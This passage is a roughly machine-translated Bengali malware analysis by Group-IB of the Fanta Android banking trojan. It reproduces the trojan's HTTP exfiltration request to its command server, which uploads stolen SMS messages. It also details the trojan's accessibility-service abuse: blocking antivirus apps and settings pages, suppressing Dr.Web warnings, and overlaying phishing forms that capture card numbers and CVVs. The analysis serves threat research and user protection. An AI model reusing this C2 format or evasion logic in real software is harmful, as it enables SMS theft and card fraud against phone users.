  · বিদার প্রস্তাব — অনুরোধ পাঠানোর সময় প্রাপ্ত সংক্রামিত ডিভাইসের আইডি register_bot
  · পাঠ — বর্তমান ডাটাবেস রেকর্ডে পাঠ্য (ক্ষেত্র d টেবিল থেকে লগ ডাটাবেসে а)
  · সংখ্যা — বর্তমান ডাটাবেস রেকর্ডের নাম (ক্ষেত্র p টেবিল থেকে লগ ডাটাবেসে а)
  · sms_mode — পূর্ণসংখ্যা মান (ক্ষেত্র m টেবিল থেকে লগ ডাটাবেসে а)

  অনুরোধ এই মত দেখায়:

  POST /controller.php HTTP/1.1
  Cookie:
  Content-Type: application/x-www-form-urlencoded
  Host: onuseseddohap.club
  Connection: close
  Accept-Encoding: gzip, deflate
  User-Agent: okhttp/3.6.0
  
  mode=setSaveInboxSms&bid=<%APP_ID%>&text=<%a.logs.d%>&number=<%a.logs.p%>&sms_mode=<%a.logs.m%>

  সফলভাবে সার্ভারে পাঠানো হলে, সারিটি টেবিল থেকে মুছে ফেলা হবে। সার্ভার দ্বারা ফিরে আসা একটি JSON বস্তুর উদাহরণ:

  {
      "response":[],
      "status":"ok"
  }

অ্যাক্সেসিবিলিটি সার্ভিসের সাথে ইন্টারঅ্যাক্ট করা

প্রতিবন্ধী ব্যক্তিদের জন্য Android ডিভাইসগুলিকে সহজে ব্যবহার করার জন্য AccessibilityService প্রয়োগ করা হয়েছিল৷ বেশিরভাগ ক্ষেত্রে, একটি অ্যাপ্লিকেশনের সাথে যোগাযোগ করার জন্য শারীরিক মিথস্ক্রিয়া প্রয়োজন। অ্যাক্সেসিবিলিটি সার্ভিস আপনাকে সেগুলি প্রোগ্রাম্যাটিকভাবে করতে দেয়। ফান্টা ব্যাঙ্কিং অ্যাপ্লিকেশনগুলিতে জাল উইন্ডো তৈরি করতে এবং ব্যবহারকারীদের সিস্টেম সেটিংস এবং কিছু অ্যাপ্লিকেশন খুলতে বাধা দিতে পরিষেবাটি ব্যবহার করে।

অ্যাক্সেসিবিলিটি সার্ভিসের কার্যকারিতা ব্যবহার করে, ট্রোজান সংক্রামিত ডিভাইসের স্ক্রিনের উপাদানগুলির পরিবর্তনগুলি পর্যবেক্ষণ করে। পূর্বে বর্ণিত হিসাবে, ফ্যান্টা সেটিংসে ডায়ালগ বাক্সগুলির সাথে লগিং ক্রিয়াকলাপগুলির জন্য দায়ী একটি প্যারামিটার রয়েছে - পড়ুন ডায়ালগ. এই প্যারামিটার সেট করা থাকলে, প্যাকেজের নাম এবং বিবরণ সম্পর্কে তথ্য যা ইভেন্টটি ট্রিগার করেছে ডাটাবেসে যোগ করা হবে। ইভেন্ট ট্রিগার হলে ট্রোজান নিম্নলিখিত ক্রিয়াগুলি সম্পাদন করে:

• নিম্নলিখিত ক্ষেত্রে পিছনে এবং বাড়ির কী টিপে অনুকরণ করে:
  · ব্যবহারকারী যদি তার ডিভাইস রিবুট করতে চায়
  · ব্যবহারকারী যদি "Avito" অ্যাপ্লিকেশনটি মুছতে চান বা অ্যাক্সেসের অধিকার পরিবর্তন করতে চান
  · যদি পৃষ্ঠায় "Avito" অ্যাপ্লিকেশনটির উল্লেখ থাকে
  · Google Play Protect অ্যাপ্লিকেশন খোলার সময়
  · AccessibilityService সেটিংস সহ পৃষ্ঠাগুলি খোলার সময়
  · যখন সিস্টেম সিকিউরিটি ডায়ালগ বক্স প্রদর্শিত হবে
  · "অন্য অ্যাপের উপর আঁকুন" সেটিংস দিয়ে পৃষ্ঠাটি খোলার সময়
  · “অ্যাপ্লিকেশন” পৃষ্ঠা খোলার সময়, “ব্যাকআপ এবং রিসেট”, “ডেটা রিসেট”, “রিসেট সেটিংস”, “ডেভেলপার প্যানেল”, “বিশেষ। সুযোগ", "বিশেষ সুযোগ", "বিশেষ অধিকার"
  · যদি ইভেন্টটি নির্দিষ্ট অ্যাপ্লিকেশন দ্বারা তৈরি করা হয়।

  অ্যাপ্লিকেশনের তালিকা

  • অ্যান্ড্রয়েড
  • মাস্টার লাইট
  • পরিষ্কার মাস্টার
  • x86 CPU-এর জন্য ক্লিন মাস্টার
  • Meizu অ্যাপ্লিকেশন অনুমতি ব্যবস্থাপনা
  • MIUI নিরাপত্তা
  • ক্লিন মাস্টার - অ্যান্টিভাইরাস এবং ক্যাশে এবং গারবেজ ক্লিনার
  • অভিভাবকীয় নিয়ন্ত্রণ এবং জিপিএস: ক্যাসপারস্কি সেফকিডস
  • ক্যাসপারস্কি অ্যান্টিভাইরাস অ্যাপলক এবং ওয়েব সিকিউরিটি বিটা
  • ভাইরাস ক্লিনার, অ্যান্টিভাইরাস, ক্লিনার (MAX নিরাপত্তা)
  • মোবাইল অ্যান্টিভাইরাস সিকিউরিটি প্রো
  • অ্যাভাস্ট অ্যান্টিভাইরাস এবং বিনামূল্যে সুরক্ষা 2019
  • মোবাইল নিরাপত্তা MegaFon
  • এক্সপেরিয়ার জন্য AVG সুরক্ষা
  • মুঠো ফোন নিরাপত্তা
  • ম্যালওয়্যারবাইটস অ্যান্টিভাইরাস এবং সুরক্ষা
  • অ্যান্ড্রয়েড 2019 এর জন্য অ্যান্টিভাইরাস
  • নিরাপত্তা মাস্টার - অ্যান্টিভাইরাস, ভিপিএন, অ্যাপলক, বুস্টার
  • Huawei ট্যাবলেট সিস্টেম ম্যানেজারের জন্য AVG অ্যান্টিভাইরাস
  • স্যামসাং অ্যাক্সেসিবিলিটি
  • স্যামসাং স্মার্ট ম্যানেজার
  • সিকিউরিটি মাস্টার
  • স্পিড বুস্টার
  • ডাঃ ওয়েব
  • ডাঃ ওয়েবে সুরক্ষা স্থান
  • ডঃ ওয়েব মোবাইল কন্ট্রোল সেন্টার
  • Dr.Web Security Space Life
  • ডঃ ওয়েব মোবাইল কন্ট্রোল সেন্টার
  • অ্যান্টিভাইরাস এবং মোবাইল সুরক্ষা
  • ক্যাসপারস্কি ইন্টারনেট নিরাপত্তা: অ্যান্টিভাইরাস এবং সুরক্ষা
  • ক্যাসপারস্কি ব্যাটারি লাইফ: সেভার এবং বুস্টার
  • ক্যাসপারস্কি এন্ডপয়েন্ট সিকিউরিটি - সুরক্ষা এবং ব্যবস্থাপনা
  • AVG অ্যান্টিভাইরাস বিনামূল্যে 2019 – Android এর জন্য সুরক্ষা
  • অ্যান্টিভাইরাস অ্যান্ড্রয়েড
  • নর্টন মোবাইল সুরক্ষা এবং অ্যান্টিভাইরাস
  • অ্যান্টিভাইরাস, ফায়ারওয়াল, ভিপিএন, মোবাইল নিরাপত্তা
  • মোবাইল নিরাপত্তা: অ্যান্টিভাইরাস, ভিপিএন, চুরি সুরক্ষা
  • অ্যান্ড্রয়েডের জন্য অ্যান্টিভাইরাস

• একটি সংক্ষিপ্ত নম্বরে একটি এসএমএস বার্তা পাঠানোর সময় অনুমতির অনুরোধ করা হলে, ফ্যান্টা চেকবক্সে ক্লিক করার অনুকরণ করে পছন্দ মনে রাখবেন এবং বোতাম পাঠাতে.
• আপনি যখন ট্রোজান থেকে প্রশাসকের অধিকার কেড়ে নেওয়ার চেষ্টা করেন, তখন এটি ফোনের স্ক্রীন লক করে দেয়।
• নতুন প্রশাসক যোগ করতে বাধা দেয়।
• যদি অ্যান্টিভাইরাস অ্যাপ্লিকেশন dr.web একটি হুমকি সনাক্ত করেছে, ফ্যান্টা বোতাম টিপে অনুকরণ করছে৷ উপেক্ষা.
• ট্রোজান ব্যাক এবং হোম বোতাম টিপে অনুকরণ করে যদি ইভেন্টটি অ্যাপ্লিকেশন দ্বারা তৈরি করা হয় স্যামসাং ডিভাইস কেয়ার.
• প্রায় 30টি বিভিন্ন ইন্টারনেট পরিষেবার তালিকা থেকে একটি অ্যাপ্লিকেশন চালু করা হলে ফান্টা ব্যাঙ্ক কার্ড সম্পর্কে তথ্য প্রবেশের জন্য ফর্ম সহ ফিশিং উইন্ডো তৈরি করে৷ তাদের মধ্যে: AliExpress, বুকিং, Avito, Google Play Market Component, Pandao, Drom Auto, ইত্যাদি।
  

  ফিশিং ফর্ম

  ফ্যান্টা সংক্রামিত ডিভাইসে কোন অ্যাপ্লিকেশন চলছে তা বিশ্লেষণ করে। যদি আগ্রহের একটি অ্যাপ্লিকেশন খোলা হয়, তাহলে ট্রোজান অন্য সকলের উপরে একটি ফিশিং উইন্ডো প্রদর্শন করে, যা ব্যাঙ্ক কার্ডের তথ্য প্রবেশের জন্য একটি ফর্ম। ব্যবহারকারীকে অবশ্যই নিম্নলিখিত ডেটা প্রবেশ করতে হবে:

  • । Карты
  • কার্ড মেয়াদ শেষ হওয়ার তারিখ
  • CVV
  • কার্ডধারীর নাম (সব ব্যাঙ্কের জন্য নয়)

  চলমান অ্যাপ্লিকেশনের উপর নির্ভর করে, বিভিন্ন ফিশিং উইন্ডো দেখানো হবে। নীচে তাদের কয়েকটি উদাহরণ দেওয়া হল:

  অ্যালি এক্সপ্রেস:

  
  অ্যাভিটো:

  
  কিছু অন্যান্য অ্যাপ্লিকেশনের জন্য, যেমন Google Play Market, Aviasales, Pandao, Booking, Trivago:
  

  এটা সত্যিই কিভাবে ছিল
  

  সৌভাগ্যক্রমে, যে ব্যক্তি নিবন্ধের শুরুতে বর্ণিত এসএমএস বার্তাটি পেয়েছেন তিনি একজন সাইবারসিকিউরিটি বিশেষজ্ঞ হয়ে উঠেছেন। অতএব, আসল, অ-পরিচালকের সংস্করণটি আগে বলা একটি থেকে আলাদা: একজন ব্যক্তি একটি আকর্ষণীয় এসএমএস পেয়েছেন, তারপরে তিনি এটি গ্রুপ-আইবি থ্রেট হান্টিং ইন্টেলিজেন্স টিমকে দিয়েছেন। আক্রমণের ফলাফল এই নিবন্ধ. শুভ সমাপ্তি, তাই না? যাইহোক, সমস্ত গল্প এত সফলভাবে শেষ হয় না, এবং যাতে আপনার অর্থ ক্ষতির সাথে পরিচালকের কাটের মতো না লাগে, বেশিরভাগ ক্ষেত্রে এটি নিম্নলিখিত দীর্ঘ-বর্ণিত নিয়মগুলি মেনে চলাই যথেষ্ট:

  • Google Play ছাড়া অন্য কোনো উৎস থেকে Android OS সহ মোবাইল ডিভাইসের জন্য অ্যাপ্লিকেশন ইনস্টল করবেন না
  • একটি অ্যাপ্লিকেশন ইনস্টল করার সময়, অ্যাপ্লিকেশন দ্বারা অনুরোধ করা অধিকারগুলিতে বিশেষ মনোযোগ দিন
  • ডাউনলোড করা ফাইলগুলির এক্সটেনশনগুলিতে মনোযোগ দিন
  • নিয়মিত অ্যান্ড্রয়েড ওএস আপডেট ইনস্টল করুন
  • সন্দেহজনক সংস্থানগুলিতে যাবেন না এবং সেখান থেকে ফাইল ডাউনলোড করবেন না
  • এসএমএস বার্তায় প্রাপ্ত লিঙ্কগুলিতে ক্লিক করবেন না।

উত্স: www.habr.com